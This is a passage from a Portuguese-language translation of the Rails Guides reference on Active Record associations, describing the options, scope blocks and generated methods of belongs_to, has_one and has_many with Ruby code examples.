Enquanto o Rails utiliza padrões inteligentes que funcionarão bem pra maior parte das situações, pode haver momentos onde você quer customizar o comportamento da referência à associação belongs_to. Estas customizações podem ser realizadas facilmente ao passar opções e blocos de escopo quando você cria a associação. Por exemplo, esta associação utiliza duas destas opções:

class Book < ApplicationRecord
belongs_to :author, touch: :books_updated_at,
counter_cache: true
end

class Book < ApplicationRecord belongs_to :author, touch: :books_updated_at, counter_cache: true end Copiar

A associação belongs_to tem suporte a estas opções:

- :autosave

- :class_name

- :counter_cache

- :dependent

- :foreign_key

- :primary_key

- :inverse_of

- :polymorphic

- :touch

- :validate

- :optional

4.1.2.1 :autosave

Se você configurar a opção :autosave para true, o Rails salvará qualquer membro da associação carregada e destruirá membros que forem marcados para destruição quando você salvar o objeto pai. Ao configurar :autosave para false não é o mesmo que configurar a opção :autosave. Se a opção :autosave não estiver presente, então novos objetos associados serão salvos, mas objetos associados que forem atualizados não serão salvos.

4.1.2.2 :class_name

Se o nome do outro model não puder ser derivado a partir do nome da associação, você pode usar a opção :class_name para passar o nome do model. Por exemplo, se um book pertence a um author, mas o nome de fato do model contendo authors é Patron, esta configuração seria necessária:

class Book < ApplicationRecord
belongs_to :author, class_name: "Patron"
end

class Book < ApplicationRecord belongs_to :author, class_name: "Patron" end Copiar

4.1.2.3 :counter_cache

A opção :counter_cache pode ser usada para tornar a busca pela quantidade de objetos que pertencem à associação mais eficiente. Considere estes models:

class Book < ApplicationRecord
belongs_to :author
end

class Author < ApplicationRecord
has_many :books
end

class Book < ApplicationRecord belongs_to :author end class Author < ApplicationRecord has_many :books end Copiar

Com estas declarações, pedir o valor de @author.books.size requer fazer uma chamada para o banco de dados para realizar uma consulta COUNT(*). Para evitar esta chamada, você pode adicionar um cache de contagem ao model pertencente ao outro:

class Book < ApplicationRecord
belongs_to :author, counter_cache: true
end

class Author < ApplicationRecord
has_many :books
end

class Book < ApplicationRecord belongs_to :author, counter_cache: true end class Author < ApplicationRecord has_many :books end Copiar

Com esta declaração, o Rails manterá o valor do cache atualizado, e aí retornará esse valor em resposta ao método size.

Embora a opção :counter_cache seja especificada no model que inclui a declaração belongs_to, a coluna de fato deve ser adicionada ao model associado (has_many). No caso acima, você precisaria adicionar uma coluna com nome books_count ao model Author.

Você pode sobrescrever o nome padrão da coluna ao especificar um nome de coluna customizado na declaração de counter_cache ao invés de especificar true. Por exemplo, para usar count_of_books ao invés de books_count:

class Book < ApplicationRecord
belongs_to :author, counter_cache: :count_of_books
end

class Author < ApplicationRecord
has_many :books
end

class Book < ApplicationRecord belongs_to :author, counter_cache: :count_of_books end class Author < ApplicationRecord has_many :books end Copiar

Você só precisa especificar a opção :counter_cache no lado belongs_to da associação.

Colunas de contagem de cache são adicionadas à lista de atributos de leitura do model contendo a associação através de attr_readonly.

4.1.2.4 :dependent

Se você configurar a opção :dependent para:

- :destroy, quando o objeto for destruído, o método destroy será chamado nos seus objetos associados.

- :delete, quando o objeto for destruído, todos os objetos associados serão deletados diretamente do banco de dados sem chamar o método destroy.

Você não deve especificar esta opção numa associação belongs_to que estiver conectada com uma associação has_many com outra classe. Isto pode resultar em registros órfãos no seu banco de dados.

4.1.2.5 :foreign_key

Por convenção, o Rails presume que a coluna usada para armazenar a chave estrangeira no model é o nome da associação com o sufixo _id adicionado. A opção :foreign_key permite que você atribua o nome da chave estrangeira diretamente:

class Book < ApplicationRecord
belongs_to :author, class_name: "Patron",
foreign_key: "patron_id"
end

class Book < ApplicationRecord belongs_to :author, class_name: "Patron", foreign_key: "patron_id" end Copiar

Em todo caso, o Rails não criará colunas de chave estrangeira para você. Você precisa defini-las de forma explícita como parte das suas migrações

4.1.2.6 :primary_key

Por convenção, o Rails presume que a coluna id é usada para armazenar a chave primária de suas tabelas. A opção :primary_key permite especificar uma coluna diferente para isto.

Por exemplo, dada uma tabela users com guid como chave primária. Se quisermos que uma tabela todos separada guarde a chave estrangeira user_id na coluna guid, então podemos usar primary_key para realizar isto desta forma:

class User < ApplicationRecord
self.primary_key = 'guid' # primary key is guid and not id
end

class Todo < ApplicationRecord
belongs_to :user, primary_key: 'guid'
end

class User < ApplicationRecord self.primary_key = 'guid' # primary key is guid and not id end class Todo < ApplicationRecord belongs_to :user, primary_key: 'guid' end Copiar

Quando executamos @user.todos.create então o registro @todo terá seu valor user_id como o valor guid de @user.

4.1.2.7 :inverse_of

A opção :inverse_of específica o nome da associação has_many ou has_one que é o inverso desta associação definida.

class Author < ApplicationRecord
has_many :books, inverse_of: :author
end

class Book < ApplicationRecord
belongs_to :author, inverse_of: :books
end

class Author < ApplicationRecord has_many :books, inverse_of: :author end class Book < ApplicationRecord belongs_to :author, inverse_of: :books end Copiar

4.1.2.8 :polymorphic

Passar true para a opção :polymorphic indica que esta é uma associação polimórfica. Associações polimórficas foram discutidas com detalhes anteriormente neste guia.

4.1.2.9 :touch

Se você configurar a opção :touch como true, então o timestamp updated_at ou updated_on no objeto associado será configurado com a hora atual quando este objeto for salvo ou destruído:

class Book < ApplicationRecord
belongs_to :author, touch: true
end

class Author < ApplicationRecord
has_many :books
end

class Book < ApplicationRecord belongs_to :author, touch: true end class Author < ApplicationRecord has_many :books end Copiar

Neste caso, salvar ou destruir um book atualizará o timestamp no author associado. Você também pode especificar um timestamp particular para atualizar:

class Book < ApplicationRecord
belongs_to :author, touch: :books_updated_at
end

class Book < ApplicationRecord belongs_to :author, touch: :books_updated_at end Copiar

4.1.2.10 :validate

Se você configurar a opção :validate como true, então os objetos associados serão validados quando você salvar este objeto. Por padrão, este valor é false: objetos associados não serão validados quando este objeto for salvo.

4.1.2.11 :optional

Se você configurar a opção :optional como true, então a presença do objeto associado não será validada. Por padrão, esta opção está configurada como false.

4.1.3 Escopos para belongs_to

Podem haver momentos onde você pode querer customizar a consulta utilizada por belongs_to. Estas customizações podem ser feitas através de um bloco de escopo. Por exemplo:

class Book < ApplicationRecord
belongs_to :author, -> { where active: true }
end

class Book < ApplicationRecord belongs_to :author, -> { where active: true } end Copiar

Você pode utilizar qualquer um dos métodos padrão de consulta abaixo dentro do bloco de escopo. Os métodos seguintes são discutidos abaixo:

- where

- includes

- readonly

- select

4.1.3.1 where

O método where permite especificar as condições que o objeto associado deve atender.

class Book < ApplicationRecord
belongs_to :author, -> { where active: true }
end

class Book < ApplicationRecord belongs_to :author, -> { where active: true } end Copiar

4.1.3.2 includes

Você pode utilizar o método includes para especificar associações de segunda ordem que devem ser carregadas de forma adiantada quando esta associação for utilizada. Por exemplo, considere estes models:

class Chapter < ApplicationRecord
belongs_to :book
end

class Book < ApplicationRecord
belongs_to :author
has_many :chapters
end

class Author < ApplicationRecord
has_many :books
end

class Chapter < ApplicationRecord belongs_to :book end class Book < ApplicationRecord belongs_to :author has_many :chapters end class Author < ApplicationRecord has_many :books end Copiar

Se você consulta authors com frequência diretamente de chapters (@chapter.book.author), então você pode deixar o seu código relativamente mais eficiente ao incluir authors na associação de chapters para books:

class Chapter < ApplicationRecord
belongs_to :book, -> { includes :author }
end

class Book < ApplicationRecord
belongs_to :author
has_many :chapters
end

class Author < ApplicationRecord
has_many :books
end

class Chapter < ApplicationRecord belongs_to :book, -> { includes :author } end class Book < ApplicationRecord belongs_to :author has_many :chapters end class Author < ApplicationRecord has_many :books end Copiar

Não há necessidade de usar includes para associações imediatas - isto é, se você tem Book belongs_to :author, então o author será carregado de forma adiantada automaticamente quando necessário.

4.1.3.3 readonly

Se você utilizar o método readonly, então o objeto associado só terá acesso de leitura quando retornado através da associação.

4.1.3.4 select

O método select permite sobrescrever a cláusula SQL SELECT que é usada para consultar dados sobre objeto associado. Por padrão, o Rails retorna todas as colunas.

If you use the select method on a belongs_to association, you should also set the :foreign_key option to guarantee the correct results.

4.1.4 Todos os Objetos Associados Existem?

Você pode ver se os objetos associados existem ao utilizar o método association.nil?:

if @book.author.nil?
@msg = "No author found for this book"
end

if @book.author.nil? @msg = "No author found for this book" end Copiar

4.1.5 Quando os Objetos são Salvos?

Atribuir um objeto a uma associação belongs_to não salva o objeto automaticamente. Isto também não salva o objeto associado.

4.2 Referência da Associação has_one

A associação has_one cria uma relação um-para-um com outro model. Em termos do banco de dados, esta associação diz que a outra classe contém a chave estrangeira. Se esta classe contém a chave estrangeira, então você deve utilizar belongs_to.

4.2.1 Métodos Adicionados por has_one

Quando você declara uma associação has_one, a classe declarada ganha automaticamente 6 métodos relacionados à associação:

- association

- association=(associate)

- build_association(attributes = {})

- create_association(attributes = {})

- create_association!(attributes = {})

- reload_association

Em todos estes métodos, association será substituído pelo symbol passado como primeiro argumento para has_one. Por exemplo, dada a declaração:

class Supplier < ApplicationRecord
has_one :account
end

class Supplier < ApplicationRecord has_one :account end Copiar

Cada instância do model Supplier terá estes métodos:

account
account=
build_account
create_account
create_account!
reload_account

account account= build_account create_account create_account! reload_account Copiar

Quando inicializar uma nova associação has_one ou belongs_to você deve usar o prefixo build_ para montar a associação, ao invés do método association.build que seria usado para associações has_many ou has_and_belongs_to_many. Para criar uma, use o prefixo create_.

4.2.1.1 association

O método association retorna o objeto associado, se ele existir. Se nenhum objeto associado for encontrado, ele retorna nil.

@account = @supplier.account

@account = @supplier.account Copiar

Se o objeto associado já foi retornado pelo banco de dados para este objeto, a versão em cache será retornada. Para sobrescrever este comportamento (e forçar a leitura do banco de dados), chame #reload_association no objeto pai.

@account = @supplier.reload_account

@account = @supplier.reload_account Copiar

4.2.1.2 association=(associate)

O método association= atribui um objeto associado a este objeto. Por trás das cenas, isto significa extrair a chave primária do objeto associado e atribuir à chave estrangeira do objeto o mesmo valor.

@supplier.account = @account

@supplier.account = @account Copiar

4.2.1.3 build_association(attributes = {})

O método build_association retorna um objeto novo do tipo associado. Este objeto será instanciado com os atributos passados, e a ligação através da chave estrangeira deste objeto será configurada, mas o objeto associado ainda não será salvo.

@account = @supplier.build_account(terms: "Net 30")

@account = @supplier.build_account(terms: "Net 30") Copiar

4.2.1.4 create_association(attributes = {})

O método create_association retorna um objeto novo do tipo associado. Este objeto será instanciado com os atributos passados, e a ligação através da chave estrangeira deste objeto será configurada, e, uma vez que ele passe por todas as validações especificadas no model associado, o objeto associado será salvo.

@account = @supplier.create_account(terms: "Net 30")

@account = @supplier.create_account(terms: "Net 30") Copiar

4.2.1.5 create_association!(attributes = {})

Faz a mesma coisa que o método create_association acima, mas retorna ActiveRecord::RecordInvalid se o registro for inválido.

4.2.2 Opções para has_one

Embora o Rails utilize padrões inteligentes que funcionarão bem na maioria das situações, pode haver momentos onde você queira customizar o comportamento da referência da associação has_one. Tais customizações podem ser feitas facilmente ao passar opções quando você cria a associação. Por exemplo, esta associação usa duas destas opções:

class Supplier < ApplicationRecord
has_one :account, class_name: "Billing", dependent: :nullify
end

class Supplier < ApplicationRecord has_one :account, class_name: "Billing", dependent: :nullify end Copiar

A associação has_one tem suporte para estas opções:

- :as

- :autosave

- :class_name

- :dependent

- :foreign_key

- :inverse_of

- :primary_key

- :source

- :source_type

- :through

- :touch

- :validate

4.2.2.1 :as

Configurar a opção :as indica que esta é uma associação polimórfica. Associações polimórficas foram discutidas com detalhes anteriormente neste guia.

4.2.2.2 :autosave

Se você configurar a opção :autosave para true, o Rails salvará qualquer membro da associação carregada e destruirá membros que forem marcados para destruição quando você salvar o objeto pai. Ao configurar :autosave para false não é o mesmo que configurar a opção :autosave. Se a opção :autosave não estiver presente, então novos objetos associados serão salvos, mas objetos associados que forem atualizados não serão salvos.

4.2.2.3 :class_name

Se o nome do outro model não puder ser derivado a partir do nome da associação, você pode usar a opção :class_name para fornecer o nome do model. Por exemplo, se um supplier tem uma account, mas o nome de fato do model contendo accounts é Billing, esta configuração seria necessária:

class Supplier < ApplicationRecord
has_one :account, class_name: "Billing"
end

class Supplier < ApplicationRecord has_one :account, class_name: "Billing" end Copiar

4.2.2.4 :dependent

Controla o que acontece com o objeto associado quando o dono dele é destruído:

- :destroy faz com que o objeto associado também seja destruído

- :delete faz com que o objeto associado seja deletado diretamente do banco de dados (dessa forma os callbacks não serão executados)

- :nullify faz com que a chave estrangeira seja configurada para NULL. Colunas polimórficas também recebem NULL em associações polimórficas. Callbacks não são executados.

- :restrict_with_exception faz com que a exceção ActiveRecord::DeleteRestrictionError seja retornada se houver um registro associado

- :restrict_with_error adiciona um erro ao dono se já houver um objeto associado

É necessário não configurar ou deixar a opção :nullify para estas associações que tem a restrição NOT NULL no banco de dados. Se você não configurar dependent para estas associações você não poderá mudar o objeto associado porque a chave estrangeira do objeto associado inicial será configurada para o valor NULL que não é permitido.

4.2.2.5 :foreign_key

Por convenção, o Rails presume que a coluna usada para guardar a chave estrangeira no outro model tem o nome deste model com o sufixo _id adicionado. A opção :foreign_key permite que você configure o nome da chave estrangeira diretamente:

class Supplier < ApplicationRecord
has_one :account, foreign_key: "supp_id"
end

class Supplier < ApplicationRecord has_one :account, foreign_key: "supp_id" end Copiar

Em todo caso, o Rails não criará colunas de chave estrangeira para você. Você precisa defini-las de forma explícita como parte das suas migrações.

4.2.2.6 :inverse_of

A opção :inverse_of específica o nome da associação has_many ou has_one que é o inverso desta associação definida.

class Supplier < ApplicationRecord
has_one :account, inverse_of: :supplier
end

class Account < ApplicationRecord
belongs_to :supplier, inverse_of: :account
end

class Supplier < ApplicationRecord has_one :account, inverse_of: :supplier end class Account < ApplicationRecord belongs_to :supplier, inverse_of: :account end Copiar

4.2.2.7 :primary_key

Por convenção, o Rails presume que a coluna id é usada para armazenar a chave primária de suas tabelas. A opção :primary_key permite especificar uma coluna diferente para isto.

4.2.2.8 :source

A opção :source especifica a associação fonte para uma associação has_one :through.

4.2.2.9 :source_type

A opção :source_type especifica o tipo da associação fonte para uma associação has_one :through que procede através de uma associação polimórfica.

class Author < ApplicationRecord
has_one :book
has_one :hardback, through: :book, source: :format, source_type: "Hardback"
has_one :dust_jacket, through: :hardback
end

class Book < ApplicationRecord
belongs_to :format, polymorphic: true
end

class Paperback < ApplicationRecord; end

class Hardback < ApplicationRecord
has_one :dust_jacket
end

class DustJacket < ApplicationRecord; end

class Author < ApplicationRecord has_one :book has_one :hardback, through: :book, source: :format, source_type: "Hardback" has_one :dust_jacket, through: :hardback end class Book < ApplicationRecord belongs_to :format, polymorphic: true end class Paperback < ApplicationRecord; end class Hardback < ApplicationRecord has_one :dust_jacket end class DustJacket < ApplicationRecord; end Copiar

4.2.2.10 :through

A opção :through específica um model de junção para realizar uma query através dele. Associações has_one :through foram discutidas com detalhes anteriormente neste guia.

4.2.2.11 :touch

Se você configurar a opção :touch como true, então o timestamp updated_at ou updated_on no objeto associado será configurado com a hora atual quando este objeto for salvo ou destruído:

class Supplier < ApplicationRecord
has_one :account, touch: true
end

class Account < ApplicationRecord
belongs_to :supplier
end

class Supplier < ApplicationRecord has_one :account, touch: true end class Account < ApplicationRecord belongs_to :supplier end Copiar

Neste caso, salvar ou destruir um supplier atualizará o timestamp na account associada. Você também pode especificar um timestamp particular para atualizar:

class Supplier < ApplicationRecord
has_one :account, touch: :suppliers_updated_at
end

class Supplier < ApplicationRecord has_one :account, touch: :suppliers_updated_at end Copiar

4.2.2.12 :validate

Se você configurar a opção :validate como true, então os objetos associados serão validados quando você salvar este objeto. Por padrão, este valor é false: objetos associados não serão validados quando este objeto for salvo.

4.2.3 Escopos para has_one

Podem haver momentos onde você pode querer customizar a consulta utilizada por has_one. Estas customizações podem ser feitas através de um bloco de escopo. Por exemplo:

class Supplier < ApplicationRecord
has_one :account, -> { where active: true }
end

class Supplier < ApplicationRecord has_one :account, -> { where active: true } end Copiar

Você pode utilizar qualquer um dos métodos padrão de consulta abaixo dentro do bloco de escopo. Os métodos seguintes são discutidos abaixo:

- where

- includes

- readonly

- select

4.2.3.1 where

O método where permite especificar as condições que o objeto associado deve atender.

class Supplier < ApplicationRecord
has_one :account, -> { where "confirmed = 1" }
end

class Supplier < ApplicationRecord has_one :account, -> { where "confirmed = 1" } end Copiar

4.2.3.2 includes

Você pode utilizar o método includes para especificar associações de segunda ordem que devem ser carregadas de forma adiantada quando esta associação for utilizada. Por exemplo, considere estes models:

class Supplier < ApplicationRecord
has_one :account
end

class Account < ApplicationRecord
belongs_to :supplier
belongs_to :representative
end

class Representative < ApplicationRecord
has_many :accounts
end

class Supplier < ApplicationRecord has_one :account end class Account < ApplicationRecord belongs_to :supplier belongs_to :representative end class Representative < ApplicationRecord has_many :accounts end Copiar

Se você consulta representatives diretamente de suppliers com frequência (@supplier.account.representative), então você pode tornar seu código relativamente mais eficiente ao incluir representatives na associação de suppliers para accounts:

class Supplier < ApplicationRecord
has_one :account, -> { includes :representative }
end

class Account < ApplicationRecord
belongs_to :supplier
belongs_to :representative
end

class Representative < ApplicationRecord
has_many :accounts
end

class Supplier < ApplicationRecord has_one :account, -> { includes :representative } end class Account < ApplicationRecord belongs_to :supplier belongs_to :representative end class Representative < ApplicationRecord has_many :accounts end Copiar

4.2.3.3 readonly

Se você utilizar o método readonly, então o objeto associado só terá acesso de leitura quando retornado através da associação.

4.2.3.4 select

O método select permite sobrescrever a cláusula SQL SELECT que é usada para consultar dados sobre objeto associado. Por padrão, o Rails retorna todas as colunas.

4.2.4 Todos os Objetos Associados Existem?

Você pode ver se os objetos associados existem ao utilizar o método association.nil?:

if @supplier.account.nil?
@msg = "No account found for this supplier"
end

if @supplier.account.nil? @msg = "No account found for this supplier" end Copiar

4.2.5 Quando os Objetos são Salvos?

Quando você atribui um objeto a uma associação has_one, este objeto será salvo automaticamente (para atualizar sua chave estrangeira). Além disso, qualquer objeto substituído também será salvo automaticamente, porque sua chave estrangeira também irá mudar.

Se qualquer uma destas operações de escrita falharem devido a erros de validação, então a atribuição retornará false e a atribuição em si será cancelada.

Se o objeto pai (o que declarar a associação has_one) não for salvo (isto é, new_record? retorna true) então os objetos filhos não serão salvos. Eles serão salvos automaticamente quando o objeto pai for salvo.

Se você quiser atribuir um objeto para uma associação has_one sem salvar o objeto, utilize o método build_association.

4.3 Referência da Associação has_many

A associação has_many cria uma relação um-para-muitos com outro model. Em termos do banco de dados, esta associação diz que a outra classe terá uma chave estrangeira que se refere a instâncias desta classe.

4.3.1 Métodos Adicionados por has_many

Quando você declara uma associação has_many, a classe declarada ganha automaticamente 17 métodos relacionados à associação:

- collection

- collection<<(object, ...)

- collection.delete(object, ...)

- collection.destroy(object, ...)

- collection=(objects)

- collection_singular_ids

- collection_singular_ids=(ids)

- collection.clear

- collection.empty?

- collection.size

- collection.find(...)

- collection.where(...)

- collection.exists?(...)

- collection.build(attributes = {})

- collection.create(attributes = {})

- collection.create!(attributes = {})

- collection.reload

Em todos estes métodos, collection será substituído pelo symbol passado como primeiro argumento para has_many, e collection_singular será substituído pela versão em singular daquele symbol. Por exemplo, dada a declaração:

class Author < ApplicationRecord
has_many :books
end

class Author < ApplicationRecord has_many :books end Copiar

Cada instância do model Author terá estes métodos:

books
books<<(object, ...)
books.delete(object, ...)
books.destroy(object, ...)
books=(objects)
book_ids
book_ids=(ids)
books.clear
books.empty?
books.size
books.find(...)
books.where(...)
books.exists?(...)
books.build(attributes = {}, ...)
books.create(attributes = {})
books.create!(attributes = {})
books.reload

books books<<(object, ...) books.delete(object, ...) books.destroy(object, ...) books=(objects) book_ids book_ids=(ids) books.clear books.empty? books.size books.find(...) books.where(...) books.exists?(...) books.build(attributes = {}, ...) books.create(attributes = {}) books.create!(attributes = {}) books.reload Copiar

4.3.1.1 collection

O método collection retorna uma Relation de todos os objetos associados. Se não há objetos associados, ele retorna uma Relation vazia.

@books = @author.books

@books = @author.books Copiar

4.3.1.2 collection<<(object, ...)

O método collection<< acrescenta um ou mais objetos à coleção configurando a chave estrangeira deles como a chave primária do model pai.

@author.books << @book1

@author.books << @book1 Copiar

4.3.1.3 collection.delete(object, ...)

O método collection.delete remove um ou mais objetos da coleção ao configurar a chave estrangeira deles como NULL.

@author.books.delete(@book1)

@author.books.delete(@book1) Copiar

Além disso, os objetos serão destruídos se estiverem associados com dependent: :destroy, e deletados se estiverem associados com dependent: :delete_all.

4.3.1.4 collection.destroy(object, ...)

O método collection.destroy remove um ou mais objetos da coleção executando destroy em cada objeto.

@author.books.destroy(@book1)

@author.books.destroy(@book1) Copiar

Os objetos sempre serão removidos do banco de dados, ignorando a opção :dependent.

4.3.1.5 collection=(objects)

O método collection= faz com que a coleção contenha apenas os objetos fornecidos, ao adicionar e deletar da forma que for mais apropriada. As mudanças são persistidas no banco de dados.

4.3.1.6 collection_singular_ids

O método collection_singular_ids retorna um array de ids dos objetos na coleção.

@book_ids = @author.book_ids

@book_ids = @author.book_ids Copiar

4.3.1.7 collection_singular_ids=(ids)

O método collection= faz com que a coleção contenha apenas os objetos identificados pelo valor das chaves primárias fornecidas, adicionando e deletando da forma que for mais apropriada. As mudanças são persistidas no banco de dados.

4.3.1.8 collection.clear

O método collection.clear remove todos os objetos da coleção de acordo com a estratégia especificada pela opção dependent. Se nenhuma opção for especificada, ele segue a estratégia padrão. A estratégia padrão para associações has_many :through é delete_all, e para associações has_many é configurar as chaves estrangeiras como NULL.

@author.books.clear

@author.books.clear Copiar

Objetos serão deletados se eles forem associados com dependent: :destroy, assim como dependent: :delete_all.

4.3.1.9 collection.empty?

O método collection.empty? retorna true se a coleção não contiver nenhum objeto associado.

<% if @author.books.empty? %>
No Books Found
<% end %>

<% if @author.books.empty? %> No Books Found <% end %> Copiar

4.3.1.10 collection.size

O método collection.size retorna o número de objetos na coleção.

@book_count = @author.books.size

@book_count = @author.books.size Copiar

4.3.1.11 collection.find(...)

O método collection.find procura objetos dentro da tabela da coleção.

@available_book = @author.books.find(1)

@available_book = @author.books.find(1) Copiar

4.3.1.12 collection.where(...)

O método collection.where procura objetos dentro da coleção com base nas condições fornecidas mas os objetos serão carregados apenas quando necessário (lazy loading) significando que o banco de dados é consultado apenas quando os objetos são acessados.

@available_books = @author.books.where(available: true) # No query yet
@available_book = @available_books.first # Now the database will be queried

@available_books = @author.books.where(available: true) # No query yet @available_book = @available_books.first # Now the database will be queried Copiar

4.3.1.13 collection.exists?(...)

O método collection.exists? confere se um objeto que atende às condições fornecidas existe na tabela da coleção.

4.3.1.14 collection.build(attributes = {})

O método collection.build retorna apenas um objeto ou um array de objetos. Os objetos serão instanciados com base nos atributos passados para o método e será criada uma ligação através de chaves estrangeiras, mas os objetos associados não serão salvos ainda.

@book = @author.books.build(published_at: Time.now,
book_number: "A12345")

@books = @author.books.build([
{ published_at: Time.now, book_number: "A12346" },
{ published_at: Time.now, book_number: "A12347" }
])

@book = @author.books.build(published_at: Time.now, book_number: "A12345") @books = @author.books.build([ { published_at: Time.now, book_number: "A12346" }, { published_at: Time.now, book_number: "A12347" } ]) Copiar

4.3.1.15 collection.create(attributes = {})

O método collection.create retorna um objeto ou um array de novos objetos do tipo associado. Os objetos serão instanciados com base nos atributos que foram passados para o método, e uma ligação será criada através de uma chave estrangeira, e, uma vez que estes objetos passem por todas as validações especificadas no model associado, o objeto associado será salvo.

@book = @author.books.create(published_at: Time.now,
book_number: "A12345")

@books = @author.books.create([
{ published_at: Time.now, book_number: "A12346" },
{ published_at: Time.now, book_number: "A12347" }
])

@book = @author.books.create(published_at: Time.now, book_number: "A12345") @books = @author.books.create([ { published_at: Time.now, book_number: "A12346" }, { published_at: Time.now, book_number: "A12347" } ]) Copiar

4.3.1.16 collection.create!(attributes = {})

Faz o mesmo que collection.create acima, mas retorna ActiveRecord::RecordInvalid se o dado for inválido.

4.3.1.17 collection.reload

O método collection.reload retorna uma Relation de todos os objetos associados, forçando uma leitura do banco de dados. Se não houver objetos associados, ele retorna uma Relation vazia.

@books = @author.books.reload

@books = @author.books.reload Copiar

4.3.2 Opções para has_many

Embora o Rails utilize padrões inteligentes que funcionarão bem na maioria das situações, pode haver momentos onde você queira customizar o comportamento da referência da associação has_many. Tais customizações podem ser feitas facilmente ao passar opções quando você cria a associação. Por exemplo, esta associação usa duas destas opções:

class Author < ApplicationRecord
has_many :books, dependent: :delete_all, validate: false
end

class Author < ApplicationRecord has_many :books, dependent: :delete_all, validate: false end Copiar

A associação has_many tem suporte para estas opções:

- :as

- :autosave

- :class_name

- :counter_cache

- :dependent

- :foreign_key

- :inverse_of

- :primary_key

- :source

- :source_type

- :through

- :validate

4.3.2.1 :as

Configurar a opção :as indica que esta é uma associação polimórfica, como discutido anteriomente neste guia.

4.3.2.2 :autosave

Se você configurar a opção :autosave para true, o Rails salvará qualquer membro da associação carregada e destruirá membros que forem marcados para destruição quando você salvar o objeto pai. Ao configurar :autosave para false não é o mesmo que configurar a opção :autosave. Se a opção :autosave não estiver presente, então novos objetos associados serão salvos, mas objetos associados que forem atualizados não serão salvos.

4.3.2.3 :class_name

Se o nome do outro model não puder ser derivado a partir do nome da associação, você pode usar a opção :class_name para fornecer o nome do model. Por exemplo, se um author tem muitos books, mas o nome de fato do model contendo books é Transaction, esta configuração seria necessária:

class Author < ApplicationRecord
has_many :books, class_name: "Transaction"
end

class Author < ApplicationRecord has_many :books, class_name: "Transaction" end Copiar

4.3.2.4 :counter_cache

Esta opção pode ser utilizada para configurar um :counter_cache personalizado. Você só precisa desta opção quando você personalizar o nome do seu :counter_cache na associação belongs_to.

4.3.2.5 :dependent

Controla o que acontece com os objetos associados quando o dono deles é destruído:

- :destroy faz com que todos os objetos associados também sejam destruídos

- :delete_all faz com que todos os objetos associados sejam deletados diretamente do banco de dados (dessa forma os callbacks não serão executados)

- :nullify faz com que a chave estrangeira seja configurada para NULL. Colunas polimórficas também recebem NULL em associações polimórficas. Callbacks não são executados.

- :restrict_with_exception faz com a exceção ActiveRecord::DeleteRestrictionError seja retornada se houverem objetos associados

- :restrict_with_error adiciona um erro ao objeto dono se houverem objetos associados

As opções :destroy e :delete_all também afetam a semântica dos métodos collection.delete e collection= fazendo com que eles destruam objetos associados ao removê-los da coleção.

4.3.2.6 :foreign_key

Por convenção, o Rails presume que a coluna usada para guardar a chave estrangeira no outro model tem o nome deste model com o sufixo _id adicionado. A opção :foreign_key permite que você configure o nome da chave estrangeira diretamente:

class Author < ApplicationRecord
has_many :books, foreign_key: "cust_id"
end

class Author < ApplicationRecord has_many :books, foreign_key: "cust_id" end Copiar

Em todo caso, o Rails não criará colunas de chave estrangeira para você. Você precisa defini-las de forma explícita como parte das suas migrações.

4.3.2.7 :inverse_of

A opção :inverse_of específica o nome da associação has_many ou has_one que é o inverso desta associação definida.

class Author < ApplicationRecord
has_many :books, inverse_of: :author
end

class Book < ApplicationRecord
belongs_to :author, inverse_of: :books
end

class Author < ApplicationRecord has_many :books, inverse_of: :author end class Book < ApplicationRecord belongs_to :author, inverse_of: :books end Copiar

4.3.2.8 :primary_key

Por convenção, o Rails presume que a coluna id é usada para armazenar a chave primária de suas tabelas. A opção :primary_key permite especificar uma coluna diferente para isto.

Digamos que a tabela users tenha id como chave primária mas também tem uma coluna guid. O requerimento é que a tabela todos deve guardar o valor da coluna guid como chave estrangeria e não o valor de id. Podemos fazer isto desta forma:

class User < ApplicationRecord
has_many :todos, primary_key: :guid
end

class User < ApplicationRecord has_many :todos, primary_key: :guid end Copiar

Agora ao executar @todo = @user.todos.create o valor de user_id no registro @todo será o valor guid de @user.

4.3.2.9 :source

A opção :source especifica a associação fonte para uma associação has_many :through. Você só precisa utilizar esta opção se não for possível inferir o nome da associação fonte automaticamente.

4.3.2.10 :source_type

A opção :source_type especifica o tipo da associação fonte para uma associação has_many :through que procede através de uma associação polimórfica.

class Author < ApplicationRecord
has_many :books
has_many :paperbacks, through: :books, source: :format, source_type: "Paperback"
end

class Book < ApplicationRecord
belongs_to :format, polymorphic: true
end

class Hardback < ApplicationRecord; end
class Paperback < ApplicationRecord; end

class Author < ApplicationRecord has_many :books has_many :paperbacks, through: :books, source: :format, source_type: "Paperback" end class Book < ApplicationRecord belongs_to :format, polymorphic: true end class Hardback < ApplicationRecord; end class Paperback < ApplicationRecord; end Copiar

4.3.2.11 :through

A opção :through específica um model de junção para realizar uma query através dele. Associações has_many :through fornecem uma maneira de implementar relações muitos-para-muitos, como discutido anteriormente neste guia.

4.3.2.12 :validate

Se você configurar a opção :validate como false, então os objetos associados não serão validados quando você salvar este objeto. Por padrão, este valor é true: objetos associados serão validados quando este objeto for salvo.

4.3.3 Escopos para has_many

Podem haver momentos onde você pode querer customizar a consulta utilizada por has_many. Estas customizações podem ser feitas através de um bloco de escopo. Por exemplo:

class Author < ApplicationRecord
has_many :books, -> { where processed: true }
end

class Author < ApplicationRecord has_many :books, -> { where processed: true } end Copiar

Você pode utilizar qualquer um dos métodos padrão de consulta abaixo dentro do bloco de escopo. Os métodos seguintes são discutidos abaixo:

- where

- extending

- group

- includes

- limit

- offset

- order

- readonly

- select

- distinct

4.3.3.1 where

O método where permite especificar as condições que o objeto associado deve atender.

class Author < ApplicationRecord
has_many :confirmed_books, -> { where "confirmed = 1" },
class_name: "Book"
end

class Author < ApplicationRecord has_many :confirmed_books, -> { where "confirmed = 1" }, class_name: "Book" end Copiar

Você também pode especificar condições através de um hash:

class Author < ApplicationRecord
has_many :confirmed_books, -> { where confirmed: true },
class_name: "Book"
end

class Author < ApplicationRecord has_many :confirmed_books, -> { where confirmed: true }, class_name: "Book" end Copiar

Se você utilizar uma opção no estilo hash, então a criação de dados através desta associação terá o escopo limitado automaticamente utilizando o hash. Neste caso, utilizar @author.confirmed_books.create ou @author.confirmed_books.build criará books onde a coluna confirmed terá o valor true.

4.3.3.2 extending

O método extending específica um módulo com nome para estender a delegação da associação. Extensões de associações são discutidas com detalhes mais pra frente neste guia.

4.3.3.3 group

O método group fornece um nome de atributo para agrupar o resultado da consulta ao banco de dados, utilizando a cláusula GROUP BY na busca SQL.

class Author < ApplicationRecord
has_many :chapters, -> { group 'books.id' },
through: :books
end

